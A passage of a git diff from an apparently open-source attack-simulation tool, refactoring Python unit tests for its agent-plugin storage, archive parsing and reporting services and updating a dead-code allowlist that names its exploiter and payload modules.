test_store_agent_plugin__storageerror_if_existing_binary_delete_fails( + plugin_file, insert_plugin, mongo_client, agent_plugin_repository: MongoAgentPluginRepository +): + mongo_client.monkey_island.agent_plugins_binaries_windows.files.delete_one = MagicMock( + side_effect=Exception + ) + + plugin_dict = copy.deepcopy(basic_plugin_dict) + plugin_dict["source_archive"] = b"dummy" + agent_plugin_repository.store_agent_plugin(OperatingSystem.WINDOWS, AgentPlugin(**plugin_dict)) + + plugin_dict["source_archive"] = b"dummy2" + with pytest.raises(StorageError): + agent_plugin_repository.store_agent_plugin( + OperatingSystem.WINDOWS, AgentPlugin(**plugin_dict) + ) + + +def test_store_agent_plugin__storage_error_if_no_connection( + mongo_client, agent_plugin_repository: MongoAgentPluginRepository +): + agent_plugin_repository._agent_plugins_collection.update_one = MagicMock( + side_effect=ConnectionFailure + ) + + with pytest.raises(StorageError): + agent_plugin_repository.store_agent_plugin(OperatingSystem.LINUX, FAKE_AGENT_PLUGIN_1) + + +def test_store_agent_plugin__storageerror_if_binary_cannot_be_stored( + mongo_client, agent_plugin_repository: MongoAgentPluginRepository +): + mongo_client.monkey_island.agent_plugins_binaries_linux.files.insert_one = MagicMock( + side_effect=Exception + ) + with pytest.raises(StorageError): + agent_plugin_repository.store_agent_plugin(OperatingSystem.LINUX, FAKE_AGENT_PLUGIN_1) + + +def test_get_all_plugin_configuration_schemas__retrieval_error_if_no_connection( + mongo_client, agent_plugin_repository: MongoAgentPluginRepository +): + agent_plugin_repository._agent_plugins_collection.find = MagicMock( + side_effect=ConnectionFailure + ) + + with pytest.raises(RetrievalError): + agent_plugin_repository.get_all_plugin_configuration_schemas() + + +def test_remove_agent_plugin( + plugin_file, + insert_plugin, + mongo_client, + agent_plugin_repository: MongoAgentPluginRepository, +): + with open(plugin_file, "rb") as file: + insert_plugin(file, OperatingSystem.WINDOWS) + + agent_plugin_repository.remove_agent_plugin( + AgentPluginType.EXPLOITER, EXPLOITER_NAME_1, OperatingSystem.WINDOWS + ) + + # Assert + agent_plugin = mongo_client.monkey_island.agent_plugins.find_one( + {"plugin_manifest.name": EXPLOITER_NAME_1, "plugin_manifest.plugin_type": "Exploiter"} + ) + assert agent_plugin is None + assert mongo_client.monkey_island.agent_plugins_binaries_windows.files.count_documents({}) == 0 + + +def test_remove_agent_plugin__removes_all_if_no_os_specified( + plugin_file, + insert_plugin, + mongo_client, + agent_plugin_repository: MongoAgentPluginRepository, +): + with open(plugin_file, "rb") as file: + plugin_dict = insert_plugin(file, OperatingSystem.WINDOWS) + plugin_dict = insert_plugin(file, OperatingSystem.LINUX, plugin_dict) + + agent_plugin_repository.remove_agent_plugin(AgentPluginType.EXPLOITER, EXPLOITER_NAME_1) + + # Assert + agent_plugin = mongo_client.monkey_island.agent_plugins.find_one( + {"plugin_manifest.name": EXPLOITER_NAME_1, "plugin_manifest.plugin_type": "Exploiter"} + ) + assert agent_plugin is None + assert mongo_client.monkey_island.agent_plugins_binaries_linux.files.count_documents({}) == 0 + assert mongo_client.monkey_island.agent_plugins_binaries_windows.files.count_documents({}) == 0 + + +def test_remove_agent_plugin__removes_one_if_os_specified( + plugin_file, insert_plugin, mongo_client, agent_plugin_repository +): + with open(plugin_file, "rb") as file: + plugin_dict = insert_plugin(file, OperatingSystem.WINDOWS) + plugin_dict = insert_plugin(file, OperatingSystem.LINUX, plugin_dict) + + agent_plugin_repository.remove_agent_plugin( + AgentPluginType.EXPLOITER, EXPLOITER_NAME_1, OperatingSystem.WINDOWS + ) + + # Assert + agent_plugin = mongo_client.monkey_island.agent_plugins.find_one( + {"plugin_manifest.name": EXPLOITER_NAME_1, "plugin_manifest.plugin_type": "Exploiter"} + ) + assert agent_plugin is not None + assert agent_plugin["binaries"] == {"linux": plugin_dict["binaries"]["linux"]} + assert mongo_client.monkey_island.agent_plugins_binaries_linux.files.count_documents({}) == 1 + assert mongo_client.monkey_island.agent_plugins_binaries_windows.files.count_documents({}) == 0 + + +def test_remove_agent_plugin__no_error_if_plugin_does_not_exist( + agent_plugin_repository, +): + agent_plugin_repository.remove_agent_plugin( + AgentPluginType.EXPLOITER, EXPLOITER_NAME_1, OperatingSystem.WINDOWS + ) + + +def test_remove_agent_plugin__removalerror_if_problem_retrieving_plugin( + plugin_file, + insert_plugin, + mongo_client, + agent_plugin_repository, +): + with open(plugin_file, "rb") as file: + insert_plugin(file, OperatingSystem.WINDOWS) + mongo_client.monkey_island.agent_plugins.find_one = MagicMock(side_effect=Exception) + + with pytest.raises(RemovalError): + agent_plugin_repository.remove_agent_plugin( + AgentPluginType.EXPLOITER, EXPLOITER_NAME_1, OperatingSystem.WINDOWS + ) + + +def test_remove_agent_plugin__removalerror_if_problem_deleting_plugin( + plugin_file, insert_plugin, mongo_client, agent_plugin_repository +): + with open(plugin_file, "rb") as file: + plugin_dict = insert_plugin(file, OperatingSystem.WINDOWS) + mongo_client.monkey_island.agent_plugins.find_one = MagicMock(return_value=plugin_dict) + mongo_client.monkey_island.agent_plugins.delete_one = MagicMock(side_effect=Exception) + + with pytest.raises(RemovalError): + agent_plugin_repository.remove_agent_plugin( + AgentPluginType.EXPLOITER, EXPLOITER_NAME_1, OperatingSystem.WINDOWS + ) + + +def test_remove_agent_plugin__removalerror_if_problem_updating_plugin( + plugin_file, insert_plugin, mongo_client, agent_plugin_repository +): + with open(plugin_file, "rb") as file: + plugin_dict = insert_plugin(file, OperatingSystem.WINDOWS) + plugin_dict = insert_plugin(file, OperatingSystem.LINUX, plugin_dict) + mongo_client.monkey_island.agent_plugins.find_one = MagicMock(return_value=plugin_dict) + mongo_client.monkey_island.agent_plugins.update_one = MagicMock(side_effect=Exception) + + with pytest.raises(RemovalError): + agent_plugin_repository.remove_agent_plugin( + AgentPluginType.EXPLOITER, EXPLOITER_NAME_1, OperatingSystem.WINDOWS + ) + + +def test_remove_agent_plugin__removalerror_if_problem_deleting_binary( + plugin_file, insert_plugin, mongo_client, agent_plugin_repository +): + with open(plugin_file, "rb") as file: + plugin_dict = insert_plugin(file, OperatingSystem.WINDOWS) + plugin_dict = insert_plugin(file, OperatingSystem.LINUX, plugin_dict) + mongo_client.monkey_island.agent_plugins.find_one = MagicMock(return_value=plugin_dict) + mongo_client.monkey_island.agent_plugins_binaries_windows.files.delete_one = MagicMock( + side_effect=Exception + ) + + with pytest.raises(RemovalError): + agent_plugin_repository.remove_agent_plugin( + AgentPluginType.EXPLOITER, EXPLOITER_NAME_1, OperatingSystem.WINDOWS + ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_plugin_archive_parser.py b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/test_plugin_archive_parser.py similarity index 71% rename from monkey/tests/unit_tests/monkey_island/cc/repositories/test_plugin_archive_parser.py rename to monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/test_plugin_archive_parser.py index a5f9c2b3f3f..17c176363c2 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_plugin_archive_parser.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/agent_plugin_service/test_plugin_archive_parser.py @@ -1,16 +1,18 @@ +import gzip import io -import json import tarfile from pathlib import Path -from tarfile import TarFile, TarInfo -from typing import Any, BinaryIO, Callable, Dict, Tuple +from tarfile import TarFile +from typing import Any, BinaryIO, Callable, Dict import pytest -import yaml +from tests.unit_tests.monkey_island.cc.services.agent_plugin_service.conftest import ( + build_agent_plugin_tar, +) from common import OperatingSystem from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType -from monkey_island.cc.repositories.plugin_archive_parser import ( +from monkey_island.cc.services.agent_plugin_service.plugin_archive_parser import ( VendorDirName, get_plugin_manifest, get_plugin_schema, @@ -19,91 +21,6 @@ ) -@pytest.fixture -def simple_agent_plugin(build_agent_plugin) -> AgentPlugin: - fileobj = io.BytesIO() - with TarFile(fileobj=fileobj, mode="w") as tar: - plugin_py_tarinfo = TarInfo("plugin.py") - plugin_py_bytes = b'print("Hello world!")' - plugin_py_tarinfo.size = len(plugin_py_bytes) - tar.addfile(plugin_py_tarinfo, io.BytesIO(plugin_py_bytes)) - fileobj.seek(0) - - return build_agent_plugin(source_archive=fileobj.getvalue()) - - -BuildAgentPluginCallable = Callable[[bytes, Tuple[OperatingSystem, ...]], AgentPlugin] - - -@pytest.fixture -def build_agent_plugin_tar_with_source_tar(build_agent_plugin: BuildAgentPluginCallable): - def inner(input_tar_path: Path) -> BinaryIO: - with open(input_tar_path, "rb") as f: - source_archive = f.read() - agent_plugin = build_agent_plugin(source_archive, tuple()) - return build_agent_plugin_tar(agent_plugin) - - return inner - - -@pytest.fixture -def build_agent_plugin(agent_plugin_manifest: AgentPluginManifest, config_schema: Dict[str, Any]): - def inner( - source_archive: bytes = b"", - supported_operating_systems: Tuple[OperatingSystem, ...] = ( - OperatingSystem.LINUX, - OperatingSystem.WINDOWS, - ), - ) -> AgentPlugin: - return AgentPlugin( - plugin_manifest=agent_plugin_manifest, - config_schema=config_schema, - source_archive=source_archive, - supported_operating_systems=supported_operating_systems, - ) - - return inner - - -@pytest.fixture -def agent_plugin_manifest() -> AgentPluginManifest: - return AgentPluginManifest( - name="TestPlugin", - plugin_type=AgentPluginType.EXPLOITER, - version="1.0.0", - supported_operating_systems=[OperatingSystem.LINUX, OperatingSystem.WINDOWS], - target_operating_systems=[OperatingSystem.LINUX, OperatingSystem.WINDOWS], - ) - - -@pytest.fixture -def config_schema() -> Dict[str, Any]: - return {"type": "object", "properties": {"name": {"type": "string"}}} - - -def build_agent_plugin_tar( - agent_plugin: AgentPlugin, manifest_file_name: str = "manifest.yaml" -) -> BinaryIO: - fileobj = io.BytesIO() - with TarFile(fileobj=fileobj, mode="w") as tar: - manifest_tarinfo = TarInfo(manifest_file_name) - manifest_bytes = yaml.safe_dump(agent_plugin.plugin_manifest.dict(simplify=True)).encode() - manifest_tarinfo.size = len(manifest_bytes) - tar.addfile(manifest_tarinfo, io.BytesIO(manifest_bytes)) - - config_schema_tarinfo = TarInfo("config-schema.json") - config_schema_bytes = json.dumps(agent_plugin.config_schema).encode() - config_schema_tarinfo.size = len(config_schema_bytes) - tar.addfile(config_schema_tarinfo, io.BytesIO(config_schema_bytes)) - - plugin_source_archive_tarinfo = TarInfo("source.tar") - plugin_source_archive_tarinfo.size = len(agent_plugin.source_archive) - tar.addfile(plugin_source_archive_tarinfo, io.BytesIO(agent_plugin.source_archive)) - - fileobj.seek(0) - return fileobj - - def test_parse_plugin_manifest_yaml_extension( simple_agent_plugin: AgentPlugin, agent_plugin_manifest: AgentPluginManifest ): @@ -150,9 +67,8 @@ def test_parse_plugin_config_schema( def assert_parsed_plugin_archive_equals_expected( actual_source_archive: bytes, expected_tar_path: Path ): - actual = TarFile(fileobj=io.BytesIO(actual_source_archive)) - - with TarFile(fileobj=io.BytesIO(actual_source_archive)) as actual: + decompressed_actual_source_archive = gzip.decompress(actual_source_archive) + with TarFile(fileobj=io.BytesIO(decompressed_actual_source_archive)) as actual: with open(expected_tar_path, "rb") as f: with TarFile(fileobj=f) as expected: assert actual.getnames() == expected.getnames() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 9b9f49d6dfd..daff213d7e8 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -10,7 +10,6 @@ from common.event_queue import IAgentEventQueue from common.types import OTP from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.models import IslandMode from monkey_island.cc.repositories import UnknownRecordError from monkey_island.cc.server_utils.encryption import ILockableEncryptor from monkey_island.cc.services.authentication_service.authentication_facade import ( @@ -101,14 +100,13 @@ def test_handle_successful_registration( assert mock_repository_encryptor.unlock.call_args[0][0] != USERNAME assert mock_repository_encryptor.unlock.call_args[0][0] != PASSWORD - assert mock_island_event_queue.publish.call_count == 3 + assert mock_island_event_queue.publish.call_count == 2 mock_repository_encryptor.reset_key.assert_called_once() mock_repository_encryptor.unlock.assert_called_once() mock_island_event_queue.publish.assert_has_calls( [ call(IslandEventTopic.CLEAR_SIMULATION_DATA), call(IslandEventTopic.RESET_AGENT_CONFIGURATION), - call(topic=IslandEventTopic.SET_ISLAND_MODE, mode=IslandMode.UNSET), ] ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py index f728ef76915..64c4c1119f3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/ransomware/test_ransomware_report.py @@ -2,11 +2,8 @@ import pytest -from monkey_island.cc.repositories import ( - IAgentEventRepository, - IAgentPluginRepository, - IMachineRepository, -) +from monkey_island.cc.repositories import IAgentEventRepository, IMachineRepository +from monkey_island.cc.services.agent_plugin_service import IAgentPluginService from monkey_island.cc.services.ransomware import ransomware_report from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.services.reporting.report import ReportService @@ -25,8 +22,8 @@ def machine_repository() -> IMachineRepository: @pytest.fixture -def agent_plugin_repository() -> IAgentPluginRepository: - return MagicMock(spec=IAgentPluginRepository) +def agent_plugin_service() -> IAgentPluginService: + return MagicMock(spec=IAgentPluginService) @pytest.fixture @@ -45,30 +42,30 @@ def patch_report_service_for_stats(monkeypatch): def test_get_propagation_stats__num_scanned( - patch_report_service_for_stats, event_repository, machine_repository, agent_plugin_repository + patch_report_service_for_stats, event_repository, machine_repository, agent_plugin_service ): stats = ransomware_report.get_propagation_stats( - event_repository, machine_repository, agent_plugin_repository + event_repository, machine_repository, agent_plugin_service ) assert stats["num_scanned_nodes"] == 4 def test_get_propagation_stats__num_exploited( - patch_report_service_for_stats, event_repository, machine_repository, agent_plugin_repository + patch_report_service_for_stats, event_repository, machine_repository, agent_plugin_service ): stats = ransomware_report.get_propagation_stats( - event_repository, machine_repository, agent_plugin_repository + event_repository, machine_repository, agent_plugin_service ) assert stats["num_exploited_nodes"] == 3 def test_get_propagation_stats__num_exploited_per_exploit( - patch_report_service_for_stats, event_repository, machine_repository, agent_plugin_repository + patch_report_service_for_stats, event_repository, machine_repository, agent_plugin_service ): stats = ransomware_report.get_propagation_stats( - event_repository, machine_repository, agent_plugin_repository + event_repository, machine_repository, agent_plugin_service ) assert stats["num_exploited_per_exploit"]["SSH Exploiter"] == 2 diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py index b0bb4b3de3f..30338c31507 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py @@ -4,6 +4,7 @@ from tests.data_for_tests.agent_plugin.manifests import ( EXPLOITER_NAME_1, EXPLOITER_NAME_2, + EXPLOITER_TITLE_1, PLUGIN_MANIFESTS, ) @@ -19,31 +20,27 @@ AGENT_ID = UUID("012e7238-7b81-4108-8c7f-0787bc3f3c10") TIMESTAMP = 1664371327.4067292 +EXPLOITER_NAME_3 = "MockExploiter3" +EXPLOITER_NAME_4 = "MockExploiter4" + + EVENT_1 = ExploitationEvent( source=AGENT_ID, timestamp=TIMESTAMP, target=IPv4Address(TARGET_IP_STR), success=True, - exploiter_name="SSHExploiter", + exploiter_name=EXPLOITER_NAME_3, # doesn't have a manifest ) EVENT_2 = ExploitationEvent( source=AGENT_ID, timestamp=TIMESTAMP, - target=IPv4Address(TARGET_IP_STR), + target=IPv4Address(OTHER_IP_STR), # different IP success=True, - exploiter_name="Log4ShellExploiter", + exploiter_name=EXPLOITER_NAME_4, ) EVENT_3 = ExploitationEvent( - source=AGENT_ID, - timestamp=TIMESTAMP, - target=IPv4Address(OTHER_IP_STR), - success=True, - exploiter_name="ZerologonExploiter", -) - -EVENT_4 = ExploitationEvent( source=AGENT_ID, timestamp=TIMESTAMP, target=IPv4Address(TARGET_IP_STR), @@ -51,7 +48,7 @@ exploiter_name=EXPLOITER_NAME_1, ) -EVENT_5 = ExploitationEvent( +EVENT_4 = ExploitationEvent( source=AGENT_ID, timestamp=TIMESTAMP, target=IPv4Address(TARGET_IP_STR), @@ -71,36 +68,36 @@ def test_get_exploits_used_on_node__2_exploits(): exploits = get_exploits_used_on_node(MACHINE, [EVENT_1, EVENT_2], PLUGIN_MANIFESTS) - assert sorted(exploits) == sorted(["SSH Exploiter", "Log4Shell Exploiter"]) + assert sorted(exploits) == sorted([EXPLOITER_NAME_3]) def test_get_exploits_used_on_node__duplicate_exploits(): - exploits = get_exploits_used_on_node(MACHINE, [EVENT_1, EVENT_1], PLUGIN_MANIFESTS) - assert exploits == ["SSH Exploiter"] + exploits = get_exploits_used_on_node(MACHINE, [EVENT_2, EVENT_2], PLUGIN_MANIFESTS) + assert exploits == [] def test_get_exploits_used_on_node__returns_only_exploits_for_node(): exploits = get_exploits_used_on_node(MACHINE, [EVENT_1, EVENT_2, EVENT_3], PLUGIN_MANIFESTS) - assert sorted(exploits) == sorted(["SSH Exploiter", "Log4Shell Exploiter"]) + assert sorted(exploits) == sorted([EXPLOITER_NAME_3, EXPLOITER_TITLE_1]) def test_get_exploits_used_on_node__duplicate_plugin_exploits(): - exploits = get_exploits_used_on_node(MACHINE, [EVENT_4, EVENT_4], PLUGIN_MANIFESTS) - assert exploits == ["Mock Exploiter"] + exploits = get_exploits_used_on_node(MACHINE, [EVENT_3, EVENT_3], PLUGIN_MANIFESTS) + assert exploits == [EXPLOITER_TITLE_1] def test_get_exploits_used_on_node__mixed_exploits(): exploits = get_exploits_used_on_node( MACHINE, [EVENT_1, EVENT_2, EVENT_3, EVENT_4], PLUGIN_MANIFESTS ) - assert sorted(exploits) == sorted(["SSH Exploiter", "Log4Shell Exploiter", "Mock Exploiter"]) + assert sorted(exploits) == sorted([EXPLOITER_NAME_3, EXPLOITER_TITLE_1, EXPLOITER_NAME_2]) def test_get_exploits_used_on_node__empty_plugin_manifests(): exploits = get_exploits_used_on_node(MACHINE, [EVENT_1, EVENT_2, EVENT_3], {}) - assert sorted(exploits) == sorted(["SSH Exploiter", "Log4Shell Exploiter"]) + assert sorted(exploits) == sorted([]) def test_get_exploits_used_on_node__empty_title(): - exploits = get_exploits_used_on_node(MACHINE, [EVENT_5], PLUGIN_MANIFESTS) + exploits = get_exploits_used_on_node(MACHINE, [EVENT_4], PLUGIN_MANIFESTS) assert sorted(exploits) == sorted([EXPLOITER_NAME_2]) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py index 22b8bc3ac19..a77adcb03b0 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py @@ -29,11 +29,8 @@ from common.agent_plugins import AgentPluginType from common.types import SocketAddress from monkey_island.cc.models import Agent, CommunicationType, Machine, Node -from monkey_island.cc.repositories import ( - IAgentEventRepository, - IAgentPluginRepository, - IAgentRepository, -) +from monkey_island.cc.repositories import IAgentEventRepository, IAgentRepository +from monkey_island.cc.services.agent_plugin_service import IAgentPluginService from monkey_island.cc.services.reporting.report import ReportService EVENT_1 = AgentShutdownEvent(source=UUID("2d56f972-78a8-4026-9f47-2dfd550ee207"), timestamp=10) @@ -233,15 +230,15 @@ def agent_event_repository() -> IAgentEventRepository: @pytest.fixture -def mock_agent_plugin_repository() -> IAgentPluginRepository: - return MagicMock(spec=IAgentPluginRepository) +def mock_agent_plugin_service() -> IAgentPluginService: + return MagicMock(spec=IAgentPluginService) @pytest.fixture(autouse=True) def report_service( agent_repository: IAgentRepository, agent_event_repository: IAgentEventRepository, - mock_agent_plugin_repository: IAgentPluginRepository, + mock_agent_plugin_service: IAgentPluginService, ): ReportService._machine_repository = MagicMock() ReportService._machine_repository.get_machines.return_value = MACHINES @@ -251,7 +248,7 @@ def report_service( ReportService._node_repository.get_nodes.return_value = NODES ReportService._agent_event_repository = agent_event_repository ReportService._agent_configuration_service = InMemoryAgentConfigurationService() - ReportService._agent_plugin_repository = mock_agent_plugin_repository + ReportService._agent_plugin_service = mock_agent_plugin_service def test_get_scanned(): diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py index 90762ed0782..ad690a11f57 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_agent_signals_service.py @@ -5,7 +5,7 @@ import pytest from common.types import AgentID -from monkey_island.cc.models import Agent, IslandMode, Simulation, TerminateAllAgents +from monkey_island.cc.models import Agent, Simulation, TerminateAllAgents from monkey_island.cc.repositories import ( IAgentRepository, ISimulationRepository, @@ -180,12 +180,12 @@ def test_on_terminate_agents_signal__updates_timestamp( terminate_all_agents = TerminateAllAgents(timestamp=timestamp) mock_simulation_repository.get_simulation = MagicMock( - return_value=Simulation(mode=IslandMode.RANSOMWARE, terminate_signal_time=50) + return_value=Simulation(terminate_signal_time=50) ) agent_signals_service.on_terminate_agents_signal(terminate_all_agents) - expected_value = Simulation(mode=IslandMode.RANSOMWARE, terminate_signal_time=timestamp) + expected_value = Simulation(terminate_signal_time=timestamp) mock_simulation_repository.save_simulation.assert_called_once_with(expected_value) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py index 3be7807c9f3..e476784b11d 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py @@ -1,10 +1,7 @@ from pathlib import Path import pytest -from tests.monkey_island.utils import assert_linux_permissions, assert_windows_permissions -from common.utils.environment import is_windows_os -from monkey_island.cc.server_utils.consts import PLUGIN_DIR_NAME from monkey_island.cc.setup.data_dir import IncompatibleDataDirectory, setup_data_dir from monkey_island.cc.setup.env_utils import DOCKER_ENV_VAR from monkey_island.cc.setup.version_file_setup import _version_filename @@ -132,70 +129,3 @@ def test_old_data_dir_docker_no_version(monkeypatch, temp_data_dir_path): with pytest.raises(IncompatibleDataDirectory): setup_data_dir(temp_data_dir_path) - - -def test_plugin_dir_created(temp_data_dir_path): - setup_data_dir(temp_data_dir_path) - assert (temp_data_dir_path / PLUGIN_DIR_NAME).is_dir() - - -def test_plugin_dir_permissions(temp_data_dir_path): - setup_data_dir(temp_data_dir_path) - if is_windows_os(): - assert_windows_permissions(temp_data_dir_path / PLUGIN_DIR_NAME) - else: - assert_linux_permissions(temp_data_dir_path / PLUGIN_DIR_NAME) - - -def test_plugins_copied_to_plugin_dir(monkeypatch, tmp_path, temp_data_dir_path): - plugin_contents = "test plugin" - plugin_src_dir = tmp_path / PLUGIN_DIR_NAME - plugin_src_dir.mkdir() - test_plugin = plugin_src_dir / "test_plugin.tar" - test_plugin.write_text(plugin_contents) - monkeypatch.setattr("monkey_island.cc.setup.data_dir.MONKEY_ISLAND_ABS_PATH", tmp_path) - - setup_data_dir(temp_data_dir_path) - assert (temp_data_dir_path / PLUGIN_DIR_NAME / test_plugin.name).read_text() == plugin_contents - - -def test_plugins_in_plugin_dir_not_overwitten( - monkeypatch, tmp_path, temp_data_dir_path, temp_version_file_path -): - temp_data_dir_path.mkdir() - temp_version_file_path.write_text(current_version) - - test_plugin_name = "test_plugin.tar" - original_plugin_contents = "original plugin" - plugin_dir = temp_data_dir_path / PLUGIN_DIR_NAME - plugin_dir.mkdir() - plugin_dir_plugin = plugin_dir / test_plugin_name - plugin_dir_plugin.write_text(original_plugin_contents) - - plugin_src_dir = tmp_path / PLUGIN_DIR_NAME - plugin_src_dir.mkdir() - new_plugin = plugin_src_dir / test_plugin_name - new_plugin.write_text("new plugin") - monkeypatch.setattr("monkey_island.cc.setup.data_dir.MONKEY_ISLAND_ABS_PATH", tmp_path) - - setup_data_dir(temp_data_dir_path) - - assert plugin_dir_plugin.read_text() == original_plugin_contents - - -def test_setup_plugin_dir_existing_dir_permissions(temp_data_dir_path): - if is_windows_os(): - assert_permissions = assert_windows_permissions - else: - assert_permissions = assert_linux_permissions - - plugin_dir_path = temp_data_dir_path / PLUGIN_DIR_NAME - temp_data_dir_path.mkdir() - plugin_dir_path.mkdir() - - assert plugin_dir_path.is_dir() - with pytest.raises(AssertionError): - assert_permissions(plugin_dir_path) - - setup_data_dir(plugin_dir_path) - assert_permissions(plugin_dir_path) diff --git a/monkey/tests/utils.py b/monkey/tests/utils.py index d5f5c078c45..25b852f3536 100644 --- a/monkey/tests/utils.py +++ b/monkey/tests/utils.py @@ -16,6 +16,13 @@ def is_user_admin(): return ctypes.windll.shell32.IsUserAnAdmin() +def get_reference_to_exception_raising_function(ex): + def inner(ex): + raise_(ex) + + return inner + + def raise_(ex): raise ex diff --git a/pyproject.toml b/pyproject.toml index 38e1136c495..2e2b80f4726 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -20,7 +20,7 @@ log_cli = 1 log_cli_level = "DEBUG" log_cli_format = "%(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s" log_cli_date_format = "%H:%M:%S" -addopts = "-v --capture=sys tests/unit_tests tests/integration_tests" +addopts = "-v --capture=sys tests/unit_tests" norecursedirs = "node_modules dist" markers = ["slow: mark test as slow"] pythonpath = "./monkey" diff --git a/vulture_allowlist.py b/vulture_allowlist.py index fe5ef7f9851..6ef2992b5fe 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -1,26 +1,57 @@ +from aardwolf.commons.iosettings import RDPIOSettings +from agent_plugins.credentials_collectors.chrome.utils import BrowserCredentialsDatabasePath from agent_plugins.exploiters.hadoop.plugin import Plugin as HadoopPlugin -from agent_plugins.exploiters.mssql.src.mssql_options import MSSQLOptions +from agent_plugins.exploiters.rdp.in_memory_file_provider import InMemoryFileProvider from agent_plugins.exploiters.smb.plugin import Plugin as SMBPlugin from agent_plugins.exploiters.snmp.src.snmp_exploit_client import SNMPResult from agent_plugins.exploiters.wmi.plugin import Plugin as WMIPlugin +from agent_plugins.exploiters.zerologon.src.HostExploiter import HostExploiter +from agent_plugins.payloads.cryptojacker.src import cpu_utilizer, cryptojacker, memory_utilizer +from agent_plugins.payloads.ransomware.src.ransomware_options import ( + EncryptionBehavior, + RansomwareOptions, + linux_target_dir, + windows_target_dir, +) +from asyauth.common.credentials import UniCredential from flask_security import Security from common import DIContainer from common.agent_configuration import ScanTargetConfiguration -from common.agent_events import AbstractAgentEvent, FileEncryptionEvent -from common.agent_plugins import AgentPlugin, AgentPluginManifest +from common.agent_events import ( + AbstractAgentEvent, + CPUConsumptionEvent, + DefacementEvent, + FileEncryptionEvent, + RAMConsumptionEvent, +) +from common.agent_plugins import ( + AgentPlugin, + AgentPluginManifest, + AgentPluginMetadata, + AgentPluginRepositoryIndex, +) from common.base_models import InfectionMonkeyModelConfig, MutableInfectionMonkeyModelConfig +from common.concurrency import BasicLock from common.credentials import LMHash, NTHash, SecretEncodingConfig +from common.decorators import request_cache +from common.tags import ( + DEFACEMENT_T1491_TAG, + EXTERNAL_DEFACEMENT_T1491_002_TAG, + INTERNAL_DEFACEMENT_T1491_001_TAG, +) from common.types import Lock, NetworkPort, PluginName from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from infection_monkey.exploit.tools import secret_type_filter from infection_monkey.exploit.zerologon import NetrServerPasswordSet, NetrServerPasswordSetResponse from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell -from infection_monkey.transport.http import FileServHTTPRequestHandler +from infection_monkey.network.firewall import FirewallApp, WinAdvFirewall, WinFirewall from infection_monkey.utils import commands +from monkey.common.types import Percent from monkey_island.cc.deployment import Deployment -from monkey_island.cc.models import IslandMode, Machine +from monkey_island.cc.models import Machine from monkey_island.cc.repositories import IAgentEventRepository, MongoAgentEventRepository +from monkey_island.cc.services.agent_plugin_service import AgentPluginService from monkey_island.cc.services.authentication_service.user import User from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import MonkeyExploitation @@ -37,6 +68,9 @@ MutableInfectionMonkeyModelConfig.allow_mutation MutableInfectionMonkeyModelConfig.validate_assignment +BasicLock.acquire +BasicLock.release + PluginName.strip_whitespace PluginName.regex @@ -63,6 +97,7 @@ # Unused, but kept for future potential DIContainer.release_convention +DIContainer.release # Used by third party library LDAPServerFactory.buildProtocol @@ -77,19 +112,15 @@ # Attribute used by pydantic errors msg_template -# Presumably overrides http.server.BaseHTTPRequestHandler properties -FileServHTTPRequestHandler.protocol_version -FileServHTTPRequestHandler.version_string -FileServHTTPRequestHandler.close_connection -FileServHTTPRequestHandler.do_POST -FileServHTTPRequestHandler.do_GET -FileServHTTPRequestHandler.do_HEAD - # Zerologon uses this to restore password: RemoteShell.do_get RemoteShell.do_exit prompt +FirewallApp.listen_allowed +WinAdvFirewall.listen_allowed +WinFirewall.listen_allowed + # Server configurations app.url_map.strict_slashes api.representations @@ -111,8 +142,6 @@ # Unused, but potentially useful Machine.island -IslandMode.ADVANCED - # We anticipate using these in the future IAgentEventRepository.get_events_by_tag IAgentEventRepository.get_events_by_source @@ -131,10 +160,23 @@ AgentPlugin.supported_operating_systems +BrowserCredentialsDatabasePath.database_file_path + HadoopPlugin SMBPlugin WMIPlugin 